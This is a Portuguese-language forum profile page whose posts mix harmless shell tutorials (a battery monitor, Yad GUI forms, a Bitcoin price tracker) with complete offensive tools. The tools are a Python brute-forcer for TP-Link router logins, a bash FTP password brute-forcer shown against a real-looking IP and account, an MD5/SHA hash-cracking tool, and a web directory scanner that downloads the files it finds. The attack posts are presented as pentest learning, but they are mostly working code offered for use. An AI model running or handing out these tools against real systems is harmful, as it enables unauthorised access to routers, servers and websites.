Jump to content

Walderlan Sena

Membros
  • Content Count

    11
  • Joined

  • Last visited

Community Reputation

11 Good

Recent Profile Visitors

596 profile views
  1. Tools Router Brute Ferramenta para executar ataque de força bruta em roteadores TPLink. Download código completo: https://github.com/WalderlanSena/toolsrouterbrute Modelo Roteador Wireless N 300Mbps TL-WR849N Velocidade wireless de 300Mbps ideal para aplicações sensíveis a interrupções, como streaming de vídeo em HD Fácil configuração da criptografia de segurança da rede wireless com um simples toque no botão WPS Controle de banda baseado em IP permite aos administradores determinarem que largura de banda será alocada para cada computador WDS wireless bridge fornece perfeita ponte para expandir a rede wireless. Site: https://www.tp-link.com/br Funcionamento da Autenticação do TP-Link - TL-WR849N Capturando url atual e subscrevendo o valor para o link definido no replace e redirecionando o usuário. Criando uma variável isLocker e atribuindo o valor false a mesma. Deletando o cookie Authorization, vulgo responsável pela a autenticação. var url = window.location.href; if (url.indexOf("tplinklogin.net") >= 0) { url = url.replace("tplinklogin.net", "tplinkwifi.net"); window.location = url; } var isLocked = false; deleteCookie("Authorization"); Função responsável implementar a hash base64, que é utilizada para setar o cookie de autenticação. function Base64Encoding(input) { var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = utf8_encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + keyStr.charAt(enc1) + keyStr.charAt(enc2) + keyStr.charAt(enc3) + keyStr.charAt(enc4); } return output; } Função que monitora o clique de login e captura os dados informado pelo usuário function PCWin(event) { if (event.keyCode == 13) { PCSubWin(); } } function PCSubWin() { // Verifica se o usúario não está bloqueado por alguns segundos if (isLocked == true) { return; } // Criando uma variavel que receberá o base64 referente a autenticação // E criando duas variavels para receber o userName e o password var auth; var password = $("pcPassword").value; var userName = $("userName").value; // Concatena a palavra "Basic" com a hash base64 de userName com ":" e o password auth = "Basic "+Base64Encoding(userName+":"+password); // Atribui o valor ao Cookie do navegador com a chave Authorization e com o auth como conteúdo document.cookie = "Authorization=" + auth; // Recarrega a página window.location.reload(); } Entendendo o funcionamento do nosso script que chamei de trb.py def main(): wordlist = open(sys.argv[3], 'r') count = 0 for i in wordlist: login = str(sys.argv[1]) senha = i.rstrip() auth = "Basic " authEncode = auth+base64.b64encode(login+':'+senha) cookie = {"Authorization": authEncode} response = r.get('http://'+sys.argv[2], cookies=cookie) if response.content.count('id="userName"') != 1: os.system('setterm -cursor on') print('\n\tPassword Found =====> ' + senha) exit(0) else: os.system("clear") splash() count = count + 1 print('\t[ '+ str(count) + ' ] Password not found ===> ' + senha) Primeiramente lemos a wordlist (Lista de palavra possíveis para a senha do roteador.) e o login passados via parâmetros no script. Posteriormente fazendo a encriptação do ambos os dados para base64, montando assim o cookie e enviando para o ip do roteador. Capturamos o retorno e verificamos a palavra chave retornada após o login. O script é bem simples. Servindo para compreender como as ferramentas mais complexas realizam tais operações ! Mas lembre-se, "Hacker e como escrever uma redação, você apenas tem um tema e cada um vai pensar em uma solução diferente." Grande abraço !
  2. Battery Mouse Na maioria dos casos os sistemas operacionais não notificam os usuário sobre a porcentagem de carga da bateria, de modo que a mesma esteja conectada ao carregar. Causando assim o que muito chamam de "viciar" a bateria. Já existem também mecanismos que evitam esse tipo de problema, sendo que o componente entende que já está carregado e evita este problemas. Todavia nem sempre isso funciona. Pensando nisso desenvolvi um Script em shell para solucionar este problema. Simplesmente verifica através do software ACPI a porcentagem da bateria,e caso já esteja 100% carregada ele mostra uma mensagem gráfica, utilizando o Yad (Que é um software baseado no zenity para criar interface gráfica com Shell Script). O código fonte é bem simples, apenas um laço de repetição referente a verificação, e no caso da condição seja verdadeira, no principio de que o retorno de ACPI seja 100, a mensagem é disparada. Código fonte para download ou contribuição se desejar, clique logo abaixo: https://github.com/WalderlanSena/batteryMouse Exemplo do código: #!/bin/bash # Script to check if your battery has already been charged # @author: Walderlan Sena <walderlan@mentesvirtuaissena.com> # Code: https://www.github.com/walderlansena/ # Dependencies: acpi - yad # sudo apt-get install acpi && sudo apt-get install yad if [ ! -e /usr/bin/yad ] || [ ! -e /usr/bin/acpi ]; then echo "The script could not find the required dependencies" exit 1 fi while true; do acpi -b | awk '$4 !~ /100/ {exit 1}' && { yad --center \ --title="Battery Mouse" \ --image="baterriy.png" \ --image "dialog-info" \ --button=gtk-ok \ --text="100% Charged Battery" \ --width=300 \ --height=100 \ --text-align=center \ --window-icon="baterry.png"; exit; } sleep 60 done Até, Grande abraço !!!
  3. Ftp Brute Tool to perform Brute Force Attack FTP Explicação e para mais informações acesse: https://github.com/WalderlanSena/ftpbrute No processo de um pentest ou de uma analise profissional de vulnerabilidades em sistemas de informação, o profissional no caso o programador, pentest, Analista etc, nem sempre terá disponível aquela penca de ferramentas automatizadas e prontas para usar (Diga-se de passagem tem gente que fica viciado somente em usar as mesmas sem nem saber o que elas fazem por trás ). E bastante interessante profissionais da área e entusiastas afim, saber desenvolver suas próprias ferramentas, não para reinventar a roda, mas para entender a fundo o que ela está fazendo. Então sabendo a potencialidade que o nosso amado Shell Script nos proporciona , desenvolvi um script que realiza um brute force em servidores FTP. Este é o exemplo ao executar o script sem passar nenhum parâmetro ao mesmo. O processo de autenticação em um servidor FTP funciona basicamente como qualquer outro, ou seja, se faz necessário o login e senha, o IP/PORT cujo deseja realizar a conexão. Caso a conexão seja bem sucedida o servidor retorna o código 230 e a (dos) listagem/arquivos do servidor. Sabendo disto podemos utilizar uma lista de senha possíveis, uma vez sabendo o usuário o IP e a porta que por padrão é a 21, realizaremos o seguinte procedimento: ./ftpbrute.sh u268613182.admin ~/senhas 187.45.123.45 21 Passando o nome do software o usuário do servidor a wordlist (Cujo tem algumas disponíveis no repositório oficial no GITHUB) o IP e a porta do servidor alvo. #!/bin/bash # FTPBrute - Tools to perform brute force # Description : # Use : ./ftpbrute # Developer : Walderlan Sena - <https://www.mentesvirtuaissena.com> # Email : contato@mentesvirtuaissena.com # LINCENSE : Lincense GPL <http://gnu.org/lincense/gpl.html> # Variaveis Globais scriptversion="v1.0.0" ok="\033[1;32m[ Start Attack ]\033[0m" error="\033[1;31m[ ERROR ]\033[0m" found="\033[1;32mPASSWORD FOUND »»»»»»»\033[0m" notfound="\033[1;31mINVALID PASSWORD »»»»»»»\033[0m" splash(){ clear # Limpando a tela do terminal echo -e ''' \033[1;31m _______ _______ _____ ______ ______ _ _ _______ _______ |______ | |_____] |_____] |_____/ | | | |______ | | | |_____] | \_ |_____| | |______ v1.0.0\033[0m \033[1;32m>>> Tool to perform Brute Force Attack FTP <<<\033[0m developer: Walderlan Sena <eu@walderlan.xyz> https://github.com/WalderlanSena/ftpbrute ''' } usage="\ Usage: $0 [USER] [WORDLIST] [IP] [PORT]... or: $0 [USER] [WORDLIST] [IP] [PORT] [OPTIONS] Options: \t--help display this help and exit. \t--version display version information and exit. \t-i install on your desktop in the /usr/bin/ Example of execution: \t./ftpbrute.sh admin wordlist.txt 187.99.150.72 21 " case $1 in --help) splash echo "$usage";; --version) echo -e "$scriptversion" exit;; -i) echo -e "\033[1;32m[ + ]\033[m Starting the installation on /usr/bin/" if sudo cp ftpbrute.sh /usr/bin/ftpbrute then echo -e "\033[1;32m[ OK ]\033[m Successfully installed on /usr/bin/ now carry out the software call,\n\n\t \033[46mApenas com 'ftpbrute [USER] [WORDLIST] [IP] [PORT]'\033[m\n" exit else echo -e "$error Unable to install..." exit fi echo "";; *) echo "$usage"; esac # Verificação do parâmetros passados if [ ! -z "$1" ] && [ -e "$2" ] && [ ! -z "$3" ] && [ ! -z "$4" ] then # Chamando a tela de splash splash # Obtendo a quantidadde de linhas da wordlist passada word=$(cat $2 | wc -l) echo -e " \t\t[ \033[1;34mWordlist:\033[0m $word \033[1;34mInicio:\033[0m `date +"%T"` ] " echo -e ">>>>>>> $ok <<<<<<<" # Ralizando leitura da wordlist de senhas possiveis for password in $(cat $2) do # Realizando a requisição via curl result=$(curl -s -o /dev/null -w "%{http_code}" -u $1:$password ftp://$3:$4) # Se o returno foi um código 226, foi logado com sucesso if [ "$result" == "226" ] then # Se a senha for encontrada, exibe a mesma e lista os dirétorios e os arquivos do servidor atacado echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found $password" # Listando os diretórios e os arquivos do servidor curl -s -u $1:$password ftp://$3:$4 # Finalizando o laço e o script exit else # Caso não, continua o ataque echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $notfound $password" fi done else # Chamando a tela de splash caso os argumentos sejam passados erroniamente splash echo -e "$usage" fi Que resultara basicamente na tela: Após o inicio do ataque ao servidor o script realiza os teste até encontrar a senha correta do mesmo. Então galera é isso, espero que tenha gostado. O script ainda está em desenvolvimento, mas basicamente a funcionalidade principal é essa, talvez futuramente eu adicione mais alguma função. Dicas comentem ai. Vlw Tmj
  4. O Pymonicoin é um software escrito em python que realiza o monitoramento do valor do Bitcoin de acordo com a Exchange escolhida. No exemplo abaixo eu utilizei a FOXBIT. O código fonte está em: https://github.com/WalderlanSena/pymonicoin/ Exemplo da utilização do primeiro script. O mesmo recebe o valor que foi depositado (No caso o valor em real que você comprou de bitcoin), e o valor do bitcoin no momento da compra. Sendo assim a cada nova verificação do valor é realizado uma regra de 3 simples obtendo o valor aproximado do seu ganho na moeda digital. Neste exemplo apenas ele retorna o valor atual da moeda de acordo com a Exchange escolhida. O mesmo também pode ser utilizado em Smartfones, sabendo que ele é escrito em python e no seu smartfone tem instalado um app que interprete a linguagem, ele vai rodar normalmente. Qualquer dúvida ou sugestão tamo ai ! Valeu Grade Abraço...
  5. Hash Blade Encrypted texts and perform Brute Force. Through Hash MD5, SHA1, SHA256, SHA512. In all operating systems Gnu/Linux , Windows, MacOs Download GIT: https://github.com/WalderlanSena/hashblade.git Download ZIP: https://github.com/WalderlanSena/hashblade/archive/v1.0.0.zip O que é uma Hash? Font img: https://www.gta.ufrj.br Uma função hash é um algoritmo que mapeia dados de comprimento variável para dados de comprimento fixo. Os valores retornados por uma função hash são chamados de valores de hash, códigos de hash, somas de hash, checksums ou simplesmente hashes. O que é MD5? MD5 é uma função de dispersão criptográfica unidirecional de 128 bits desenvolvida pela RSA Data Security, Inc., descrita no RFC 1321 e amplamente utilizada pelo protocolo de ponto a ponto para verificação de integridade de arquivo e log.. Font img: https://upload.wikimedia.org O que é Sha1? SHA1 implementa um algoritmo de hash de chave que leva uma mensagem até 264 bits e produz um resumo de mensagem de 160 bits e é usado para verificar a integridade da mensagem. Baseia-se nos princípios de design dos algoritmos de hash MD4 e MD5 (Memory Digest 4 e 5). O que é Sha2? Ataques de pseudo-colisão contra até 46 rodadas de SHA-256. SHA-2 é um conjunto de funções de hash criptográficas desenhadas pela NSA. SHA significa algoritmo de hash seguro. Font img: https://upload.wikimedia.org Documentação - HashBlade Hashblade é um software multiplataforma (Gnu / Linux, MacOs, Windows) que executa criptografia de texto para: MD5, SHA1, SHA256 e SHA512. No entanto, o software também possui a funcionalidade de força bruta nos hashes mencionados anteriormente. "Na ciência da computação, pesquisa de força bruta ou busca exaustiva, também conhecida como gerar e testar, é uma técnica de solução de problemas trivial mas muito geral que consiste em enumerar todos os candidatos possíveis para a solução e verificar cada candidato para ver se ele ou ela satisfaz a declaração de problema ". Tela de inicialização do software Ubuntu Gnu/Linux Operating System Windows Operating System Compilação O processo de compilação é basicamente o mesmo em todos os sistemas operacionais, porque é um software escrito em linguagem c++. Ao usar sistemas operacionais Gnu/Linux, basta usar o comando make para compilar e gerar o binário ELF. make Ou g++ hashblade.cpp lib/md5.cpp lib/sha1.cpp lib/sha256.cpp lib/sha512.cpp lib/libhashblade.cpp -o hashblade No Windows, o processo é o mesmo e apenas a extensão do arquivo final que será alterado para hashblade.exe Criptografia de texto hashblade -md5 "12345" Ubuntu Gnu/Linux Operating System< Mais opções: (Lembre-se de que nos sistemas Windows, a extensão .exe é necessária) hashblade -sha1 "12345" hashblade -sha256 "12345" hashblade -sha512 "12345" E se você quiser obter todos os hashes, basta digitar: hashblade.exe "12345" Windows 7 Operating System Criptografia de uma lista de palavras hashblade.exe -list -sha1 mylist.txt Ubuntu Gnu/Linux Operating System Posteriormente, depois de criptografar todas as listas de palavras, o software gera uma nova lista com o nome listHash.txt com palavras criptografadas: Ubuntu Gnu/Linux Operating System Método de Brute Force O uso de métodos de força bruta requer 3 parâmetros: em qual tipo de hash será aplicado o ataque, a lista de possíveis senhas e o próprio hash: hashblade -md5-brute wordlists/wordlistNumber.txt 827ccb0eea8a706c4c34a16891f84e7b Ubuntu Gnu/Linux Operating System License A hash Blade é um software de código aberto licenciado sob o licença MIT LICENSE
  6. Continuando o poste anterior, segue novas funcionalidades: Com o Yad é possível como citado anteriormente criar formulário: Uso: yad [OPÇÃO...] - Yet another dialoging program Opções de formulário --form Exibir caixa de diálogo tipo formulário --field=ROTULO[:TIPO] Adicionar campo a formulário (veja a página de manual para a lista de tipos possíveis) --align=TIPO Defina o alinhamento dos rótulos de campo (left, center ou right) --columns=NUMERO Defina o número de colunas no formulário --scroll Fazer um formulário com rolagem --output-by-row Ordenar campos de saída das linhas --focus-field=NUMERO Definir campo ofuscado O --form indica para o Yad que posteriormente o formulário será criado. Com isso o --field propõe vários tipos de forms... Opções de formulário --field = LABEL [: TYPE] Adicione campo para formar. O tipo pode ser H, RO, NUM, CHK, CB, CBE, CE, FL, SFL, DIR, CDIR, FN, MFL, MDIR, DT, SCL, CLR, BTN, FBTN, LBL ou TXT. H - tipo de campo oculto. Todos os caracteres são exibidos como o caractere invisível. RO - campo está em modo somente leitura. NUM - campo é numérico. O formato de valor inicial para este campo é VALUE [! RANGE [! STEP! [PREC]]], onde RANGE deve estar na forma MIN..MAX. `! ' é um separador de itens padrão. PREC é uma precisão para decimais. CHK - campo caixa de seleção. O valor inicial é uma constante booleana insensível a maiúsculas e minúsculas (TRUE ou FALSE). CB - caixa de combinação de caixa. O valor inicial é uma lista VAL1! VAL2! .... O separador é o mesmo que no campo NUM. Valor iniciado com `^ ' ameaças como padrão para combo-box. CBE - campo combo-box editável. Valor inicial o mesmo que para combo-box. CE - entrada com conclusão. Valor inicial o mesmo que para combo-box. FL - botão de seleção de arquivo. SFL - campo para criar arquivo. DIR - botão de seleção de diretório. CDIR - campo para criar pasta. FN - botão de seleção de fonte. Valor inicial igual ao diálogo de fonte. MFL - selecione vários arquivos. O valor deste campo é uma lista de arquivos separados por item-separator. MDIR - selecione várias pastas. O valor deste campo é uma lista de pastas separadas por item-separator. DT - campo da data. SCL - campo de escala. Valor deste campo em um intervalo de 0..100. CLR - botão de seleção de cores. Os valores de saída para este campo geram da mesma maneira que para a caixa de diálogo de cores. BTN - botão campo. O rótulo pode estar em forma de texto em uma forma LABEL [! ICON [! TOOLTIP]] onde `! ' é um separador de itens. LABEL é um texto de etiqueta do botão ou gtk stock id. ICON é um ícone de botões (stock id ou nome de arquivo). O TOOLTIP é um texto opcional para a seqüência de ajuda pop-up. O valor inicial é um comando que está sendo executado quando o botão é clicado. Um sintoma especial% N no comando é substituído pelo valor do campo N. Se o comando começar com @, a saída do comando será analisada e as linhas serão iniciadas com o número e os dois pontos serão tratados como um novo valores de campo. Um estilo de citação para valor quando sh -c é usado - uma única cotação em torno de comando e dupla citações em torno de -c argumento FBTN - o mesmo que o campo do botão, mas com o alívio total de um botão. LBL - rótulo de texto. Se o nome do campo estiver vazio, a linha separadora horizontal será mostrada. TXT - entrada de texto multilinha. Este campo sempre ocupa toda a largura do formulário. Então vamos criar nosso primeiro formulário ! #!/bin/bash # Cria uma 'função' que monta e armazena o retorno do formulario FORM=$( yad --center --title="Formulario de Cadastro" \ --width=400 --heigth=400 \ --text="Preencha todos os campos" --text-align="center" \ --form \ --field="Nome : " "" \ --field="Email : " "" \ --field="Profissão:":CB Programador!Técnico!Analista!Outro \ --button gtk-add --buttons-layout="center" \ ) echo $FORM A execução do script acima resultará em: E o retorno do botão adicionar será: Walderlan Sena|walderlan@email.com|Programador| Desta forma perceba que a um padrão de separação entre os dados de retorno, ou seja, os mesmo estão separados por "|" pipeline. Com isso vamos utilizar o comando cut(Para saber mais sobre o CUT, acesse o vídeo Cortando seções de texto com o cut ) para capturar os dados armazenados na variável $FORM. Utilizando o CUT executar o seguinte comando: #!/bin/bash # Cria uma 'função' que monta e armazena o retorno do formulario FORM=$( yad --center --title="Formulario de Cadastro" \ --width=400 --heigth=400 \ --text="Preencha todos os campos" --text-align="center" \ --form \ --field="Nome : " "" \ --field="Email : " "" \ --field="Profissão:":CB Programador!Técnico!Analista!Outro \ --button gtk-add --buttons-layout="center" \ ) nome=$(echo "$FORM" | cut -d "|" -f 1) email=$(echo "$FORM" | cut -d "|" -f 2) prof=$(echo "$FORM" | cut -d "|" -f 3) echo "Seu nome e : $nome" echo "Seu email e : $email" echo "Sua profissão e : $prof" Após a execução o retorna no terminal será: Bom, este é mais um exemplo simples do funcionamento de formulário com Shell Script e Yad... Até a próxima....
  7. Sim vou colocar mais exemplos @Fernando Mercês, vou ver aqui os mais comuns e legais ! É muito bom mesmo os livro do Mestre Júlio, um verdadeiro exemplo da computação Brasileira...
  8. Introdução a Criação de Interface Gráfica com Shell Script e Yad "Shell script é uma linguagem de script usada em vários sistemas operativos (operacionais), com diferentes dialetos, dependendo do interpretador de comandos utilizado. Um exemplo de interpretador de comandos é o bash, usado na grande maioria das distribuições GNU/Linux." Fonte: https://pt.wikipedia.org/wiki/Shell_script Vamos entender o que é uma interface: "Elemento que proporciona uma ligação física ou lógica entre dois sistemas ou partes de um sistema que não poderiam ser conectados diretamente." E o que é Interface Gráfica? "Interface Gráfica é um conceito da forma de interação entre o usuário do computador e um programa por meio de uma tela ou representação gráfica, visual, com desenhos, imagens, etc. Geralmente é entendido como a “tela” de um programa." O que significa Yad ? "Yad Significa (Yet Another Dialoging program). O yad é um fork do zenity, só que muuuuuito mais incrementado." O autor do Yad é o ucraniano Victor Ananjevsky, e a página do projeto pode ser encontrada no: http://code.google.com/p/yad/ Para realizar a instalação em sistemas operacionais baseados no Debian digite: sudo apt-get install yad Vamo qui vamo !!!!! Como de costume no inicio de novas tecnologia sempre utilizamos o famoso Hello World, então vamos lá: Abra seu terminal e digite: yad --center O comando --center, se refere a centralização do seu programa no centro da sua tela. Alguns comando disponíveis com suas respectivas explicações de funcionamento: Uso: yad [OPÇÃO...] - Yet another dialoging program Opções de ajuda: -h, --help Exibe opções de ajuda --help-all Exibe todas as opções de ajuda --help-general Mostrar opções gerais --help-common Mostrar opções comuns --help-calendar Mostrar opções de calendário --help-color Mostrar opções de seleção de cor --help-dnd Mostrar opções de arrastar e soltar --help-entry Mostrar opções de entrada de texto --help-file Mostrar opções de seleção de arquivos --help-font Mostrar opções de seleção de fonte --help-form Mostrar opções de formulário --help-html Mostrar opções de HTML --help-icons Mostrar opções de caixa de ícones --help-list Mostrar opções de lista --help-multi-progress Mostrar opções de múltiplas barras de progresso --help-notebook Mostrar opções de diálogo de notebook --help-notification Mostrar opções de ícone de notificação --help-paned Mostrar opções de diálogos panorâmicos --help-picture Mostrar opções de diálogo de imagem --help-print Mostrar opções de diálogo de imressão --help-progress Mostrar opções de progresso --help-scale Mostrar opções de escala --help-text Mostrar opções de texto de informação --help-filter Mostrar opções de seleção de arquivos --help-misc Mostrar opções de micelânea --help-gtk Mostra as opções do GTK+ E por fim você pode, desenvolver formulários sensacionais com essa ferramenta. Fica a Dica !!! Para mais informações sobre o desenvolvimento com Shell script e Yad, acesse: Grande abraço !
  9. A imagem hehehehe. Existe sim um exemplo de wordlist. Esqueci de upar . O download ainda não adicionei, vou colocar na próxima versão ! Haaa verdade a parada da instalação, vlw ! Grade Abraço ! dragron.txt
  10. Pesquise por diretórios ocultos em aplicações web [Repositório Oficial: GitHub Click aqui!] O DnsDragon é um script para escanear aplicações web em busca de diretórios como: administracao/ login/ dashboard/ etc. No processo de intrusão em aplicações web geralmente se faz necessário explorar contexto relacionado a segurança de diretório. De modo que com os mesmos desprotegidos pode causar um grande problema como a visualização de arquivos indesejados. Com isso desenvolvi um programinha em Shell Script, bem básico para realizar este processo. Use: ./dnsdragon https://www.SiteQueDesejaScanear.com dragon.txt Códigos de retorno "A linha inicial de uma resposta HTTP indica ao cliente se sua requisição foi bem sucedida ou não Essa situação é fornecida através de um código de retorno (Status-Code) e uma frase explicativa (Reason-Phrase). De acordo com Fielding, o código de status é formado por três dígitos e o primeiro dígito representa a classe que pertence classificada em cinco tipos: 1xx: Informational (Informação) – utilizada para enviar informações para o cliente de que sua requisição foi recebida e está sendo processada; 2xx: Success (Sucesso) – indica que a requisição do cliente foi bem sucedida; 3xx: Redirection (Redirecionamento) – informa a ação adicional que deve ser tomada para completar a requisição; 4xx: Client Error (Erro no cliente) – avisa que o cliente fez uma requisição que não pode ser atendida; 5xx: Server Error (Erro no servidor) – ocorreu um erro no servidor ao cumprir uma requisição válida. O protocolo HTTP define somente alguns códigos em cada classe descritos na RFC 2616, mas cada servidor pode definir seus próprios códigos." - Fonte: Wikipedia Como a verificação de diretório funciona? Sabendo que uma requisição HTTP terá um código de retorno, capturamos o mesmo e fazemos o teste de existência do diretório ou arquivo especifico: Cod Significado 200 OK Diretório ou arquivo encontrado 403 Forbidden Diretório encontrado mas não há permissão de acesso 302 Moved Temporarily O cliente para executar um redirecionamento temporário Código do Software: #!/bin/bash # DnsDragon - Pesquise por diretorios em sistemas web # Description : Encontre diretórios ocultos em websites com a requisição via Curl # Use : ./dnsdragon [ https://www.siteparaanalisar.com ] dragon.txt # Developer : Walderlan Sena - <https://www.mentesvirtuaissena.com> # Email : contato@mentesvirtuaissena.com # LINCENSE : Lincense GPL <http://gnu.org/lincense/gpl.html> # Variaveis Globais scriptversion="v1.1.2" ok="\033[1;32m[ Iniciado a busca ]\033[0m" error="\033[1;31m[ ERROR ]\033[0m" found="\033[1;32mFOUND DIRECTORY »»»»»»»\033[0m" notfound="\033[1;31mNOT FOUND »»»»»»»\033[0m" found2="\033[1;32mFOUND FILE »»»»»»»\033[0m" # Tela de splash splash(){ clear # Limpando a tela do terminal echo -e '''\033[1;32m ____ ____ | _ \ _ __ ___| _ \ _ __ __ _ __ _ ___ _ __ | | | | _ \/ __| | | | __/ _ |/ _ |/ _ \| _ \ | |_| | | | \__ \ |_| | | | (_| | (_| | (_) | | | | |____/|_| |_|___/____/|_| \__,_|\__, |\___/|_| |_| |___/ v1.1.2 \033[1;33m"Pesquise por diretórios e arquivos em websites"\033[0m contato@walderlna.xyz - Developer: Walderlan Sena https//www.github.com/WalderlanSena/dnsdragon \033[0m''' } # end function # Opções do script usage="\ Usage: $0 [SITE] [WORDLIST] [OPTION]... or: $0 [SITE] [WORDLIST] -v [ Opção padrão ] or: $0 [SITE] [WORDLIST] -s Host/Diretorio encontrados Options: \t--help exibir esta ajuda e sair. \t--version exibir informações sobre a versão e sair. \t-v (Opção padrão) Mostra o scaneamento em funcionamento \t-s Mostra apenas os Host/Diretorio encontrados \t-i instalar no seu desktop no diretorio /usr/bin/ Exemplo execute: \t./dnsdragon.sh http://www.sitealvo.com dragon.txt Caso esteja instalado no seu PC utilize: \tdnsdragon [ Site ] [ wordlist ] [ opcoes ] " # Verifica se os parametros foram passador corretamente if [ ! -z "$1" ] && [ ! -e "$2" ] && [ -z "$2" ] then # Verifica se o usuario deseja um help a versão ou instalar case $1 in --help) splash echo "$usage";; --version) echo $scriptversion;; -i) echo -e "\033[1;32m[ + ]\033[m Iniciando a instalação em /usr/bin/" if sudo cp dnsdragon.sh /usr/bin/dnsdragon then echo -e "[!] Instalado com sucesso em /usr/bin/ agora realize a chamada do software\n Apenas com 'dnsdragon [ Site ] [ wordlist ] [ opcoes ]'" else echo -e "$error Não foi possivel realizar a instalação..." fi echo "";; *) echo "$usage"; esac elif [ ! -z "$1" ] && [ -e "$2" ] then # Chamando tela de Boas Vindas splash # Obtendo a quantidadde de linhas da wordlist passada word=$(cat $2 | wc -l) echo -e " \t[ \033[1;34mWordlist:\033[0m $word \033[1;34mInicio:\033[0m `date +"%T"` ] " echo -e "$ok Iniciando a busca..." # Iniciando a leitura da lista passada via parâmetros for search in $(cat $2); do # Realiza a requisição via HTTP com o curl e captura o valor de retorno result=$(curl -s -o /dev/null -w "%{http_code}" $1/$search/) # Busca por diretórios result2=$(curl -s -o /dev/null -w "%{http_code}" $1/$search) # Busca por arquivos # Verifica se a opção de pesquisa silênciosa foi selecionada if [ "$3" != "-s" ] then # Verifica se é um diretorio acessivel ou forbidden if [ "$result" == "200" ] || [ "$result" == "403" ]; then echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found $1/$search/" else echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $notfound $1/$search/" fi # Verifica se um diretório foi encontrado e realiza o download do mesmo if [ "$result2" == "200" ] then echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found2 $1/$search" curl -s $1/$search --output $search fi # Caso exista a opção -s passada como parametro mostra apenas os diretórios e os arquivos encontrados else if [ "$result" == "200" ] || [ "$result" == "403" ] then echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found $1/$search/" fi if [ "$result2" == "200" ] then echo -e "\033[0;36m[ `date +"%T"` ]\033[0m $found2 $1/$search" # Realizando o download do arquivo curl -s $1/$search --output $search fi fi done else # Opção padrão quando não há solicitação correta via parâmentro para o script splash echo -e "$usage" fi Para mais informações sobre o funcionamento, basta acessar o repositório no Github. Grande Abraço.
×
×
  • Create New...